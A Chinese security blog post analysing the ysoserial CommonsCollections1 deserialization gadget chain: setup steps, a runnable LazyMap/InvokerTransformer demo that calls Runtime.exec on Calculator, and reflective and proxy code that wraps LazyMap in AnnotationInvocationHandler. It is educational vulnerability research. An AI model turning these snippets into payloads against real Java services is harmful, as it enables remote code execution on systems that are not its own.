『代码审计』ysoserial CommonsCollections 1 反序列化分析

admin 2022年7月20日18:50:35评论56 views字数 7046阅读23分29秒阅读模式

点击蓝字 关注我们

『代码审计』ysoserial CommonsCollections 1 反序列化分析


日期:2022-07-18
作者:ICDAT
介绍:这篇文章主要是对 ysoserial CommonsCollections 1 反序列化链分析。

0x00 前言

前面我们首先啃了 CommonsCollections 5 这块硬骨头,接着分析了 CommonsCollections 6 ,再接着是简单的 URLDNS ,今天我们对 CommonsCollections 1 进行分析。

基于上述条件,再去看 CommonsCollections 1 ,你会发现很多内容之前都分析过,其实是利用链中下层的链被多次利用了,我们只是在上层找到不同的调用下层链的类而已。

0x01 环境配置

这次我们对比着 CommonsCollection 5 来分析 CommonsCollections 1

首先CommonsCollection 5的利用链如下:

Gadget chain:        ObjectInputStream.readObject()            BadAttributeValueExpException.readObject()                TiedMapEntry.toString()                    LazyMap.get()                        ChainedTransformer.transform()                            ConstantTransformer.transform()                            InvokerTransformer.transform()                                Method.invoke()                                    Class.getMethod()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.getRuntime()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.exec()    Requires:        commons-collections

再看一下 CommonsCollections 1 的:    

Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()
Requires: commons-collections

对比分发现,CommonsCollections 1CommonsCollections 5 相比,在 LazyMap.get() 的方法往下开始相同。那需要我们分析的内容就少了。

先做一下分析前的准备工作。

java 版本需要小于 8u71 ,我分析使用的环境为 1.8.0_66

不同于之前分析利用链, CommonsCollections 1 利用了 AnnotationInvocationHandler 类,不属于 jdk ,需要下载 openJdk ,可以在下列链接中下载:
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/498f58217f9f.zip

macjdk 环境默认在 /Library/Java/JavaVirtualMachines/ ,其对应 jdk 文件夹下 /Contents/Home/src.zip 中为 jdk 的源码文件,我们进行解压。

然后将下载下来的 openJDK 解压,将其 /src/share/classes/ 目录下的 sun 文件夹复制到之前解压的 jdk 源码内。

最终 src 目录结构如下:

『代码审计』ysoserial CommonsCollections 1 反序列化分析

然后 idea 新建一个 maven 项目,pom 中引入commons-coolection3.1

<dependencies>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.1</version>        </dependency>    </dependencies>

再接着设置项目使用的jdkFile->Project Structure

『代码审计』ysoserial CommonsCollections 1 反序列化分析

然后选择jdk文件夹即可。

『代码审计』ysoserial CommonsCollections 1 反序列化分析

然后将src文件夹添加进Sourcepath

『代码审计』ysoserial CommonsCollections 1 反序列化分析

这样我们就可以查看涉及到AnnotationInvocationHandler类的源代码了。

0x02 Lazymap

类比对CommonsCollections 5的分析,我们可以先新建一个利用Lazymap进行执行命令的类。

package demos;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;import java.util.Map;
public class lazymapDemo { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); lazyMap.get("1"); }}

然后下一步就是要去找调用了Lazymap.get方法的类。

0x03 AnnotationInvocationHandler类

搜索AnnotationInvocationHandle定位到
sun.reflect.annotation.AnnotationInvocationHandler

『代码审计』ysoserial CommonsCollections 1 反序列化分析

通过Open source file可以查看java源代码文件。

『代码审计』ysoserial CommonsCollections 1 反序列化分析

该类实现了InvocationHandlerSerializable接口。而且该类为缺省修饰符,这种情况下,只能同一个包中访问该类。

查看其构造方法,为缺省构造方法,需要传入一个Annotation的子类,而且该子类只能实现一个接口。另外可以传入一个map对象。

『代码审计』ysoserial CommonsCollections 1 反序列化分析

invoke方法中memberValues调用了get方法。

『代码审计』ysoserial CommonsCollections 1 反序列化分析

如果我们传入一个Lazymap对象,调用其invoke方法,就可以实现Lazymap.get的调用。

我们尝试基于此编写代码。

首先,分析一下我们需要实现什么:

我们需要new一个AnnotationInvocationHandler类对象,并且在构造方法中传入Lazymap对象,并且该对象调用invoke方法。

现在的问题是,该类为缺省类,且该类构造方法也为缺省的构造方法。无法在包外访问。

解决方法是:java中可以通过反射机制来获取类,并且通过获取其构造方法来实例化对象。

但是又出现了一个问题,通过反射构造方法实例化的对象为Object类。需要进行类型转换,我们访问不到AnnotationInvocationHandler类,如何进行处理呢?

『代码审计』ysoserial CommonsCollections 1 反序列化分析

这里用的知识是java中,实现接口的子类,可以通过创建对象赋值给接口。

public interface test{};class A implement test{};test a = new A();

我们查看其实现的InvocationHandler接口被public修饰。

『代码审计』ysoserial CommonsCollections 1 反序列化分析

那么可以走通了,我们在进行实例化对象的时候,传入的是Retention,该类属于annotation类,且只有一个接口。

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        //通过反射获得cls的构造函数        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);        //设置Accessible为true        ctor.setAccessible(true);        //通过newInstance()方法实例化对象,并赋值给接口        InvocationHandler Handler = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

但是发现在执行invoke时,发现了问题,invoke方法是如何传参的呢?

『代码审计』ysoserial CommonsCollections 1 反序列化分析

0x04 动态代理

invokeAnnotationInvocationHandler类实现的InvocationHandler类方法。
java中调用InvocationHandlerinvoke方法多用来动态代理。

来举例说明一下动态代理的实现。

javajava.lang.reflect包下提供了一个Proxy类和一个InvocationHandler接口,通过这个类和这个接口可以生成JDK动态代理类和动态代理对象。

首先定义一个接口。

public interface Person {    public void name();}

再有一个实现接口的类。

public class Libai implements Person{  public void name(){  System.out.println("我叫李白。");  }}

这里Libai类是被代理的类,那么我们创建一个LibaiInvocationHandler类,并在执行方法前后写上我们的逻辑。

import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;
class LibaiInvocationHandler implements InvocationHandler { /** * 需要一个接口类对象 */ private Person person;
/** * 需要构造方法来实例化对象 * @param person */ public LibaiInvocationHandler(Person person){ this.person=person; }
/** * 实现InvocationHandler类的invoke方法,执行被代理的Libai类的任何方法,都会被修改执行该invoke方法 * @param proxy * @param method * @param args * @return null * @throws Throwable */ public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("我是李白代理人。"); //调用被代理类中的方法 Object invoke = method.invoke(person, args); System.out.println("介绍完了"); return invoke; }}
public class test{ public static void main(String[] args) { //实例化一个被代理类的对象 Libai libai = new Libai(); //给对象设置代理 LibaiInvocationHandler lbh = new LibaiInvocationHandler(libai); Person p = (Person) Proxy.newProxyInstance(lbh.getClass().getClassLoader(),libai.getClass().getInterfaces(),lbh); //用代理对象调用相关方法,则执行目标方法和自定义代理中的相关逻辑 p.name(); }
}

所以使用invoke方法的话,需要实现一个接口和实现类,再设置代理。但是对比动态代理的过程和执行Lazymap.get()的过程:

LibaiInvocationHandlerAnnotationInvocationHandler类:都存在构造方法,AnnotationInvocationHandler类传入map对象实现了invoke方法,AnnotationInvocationHandler类invoke方法,调用了map对象的get方法。存在成员变量,AnnotationInvocationHandler类为一个Map对象。

综上分析,我们可以对传入的map对象当做代理类。那么当map对象,执行任何方法的时候,都会去执行AnnotationInvocationHandlerinvoke方法,进而执行get方法。

那么进行代理类的编写。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, Handler);

然后我们把代理类传入AnnotationInvocationHandler的构造方法中。

Handler = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

如果使用的是上述逻辑的话,只能是AnnotationInvocationHandler自动执行的方法才可以。

那么现在的问题变成了,在反序列化过程中,是否有AnnotationInvocationHandlermap对象的方法的调用呢。

0x05 AnnotationInvocationHandler.readObject

反序列化入口方法是readObject方法,自然在其中找。

『代码审计』ysoserial CommonsCollections 1 反序列化分析

存在memberValues的对象,调用entrySet方法,那么这个调用链就清晰了。    

Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()

0x06 总结

这篇进行分析的时候,主要的难点是动态代理,详细了解了动态代理的实现后,对调用链就比较清晰了。

『代码审计』ysoserial CommonsCollections 1 反序列化分析


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『代码审计』ysoserial CommonsCollections 1 反序列化分析

宸极实验室

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。




原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CommonsCollections 1 反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月20日18:50:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ysoserial CommonsCollections 1 反序列化分析https://cn-sec.com/archives/1184644.html

发表评论

匿名网友 填写信息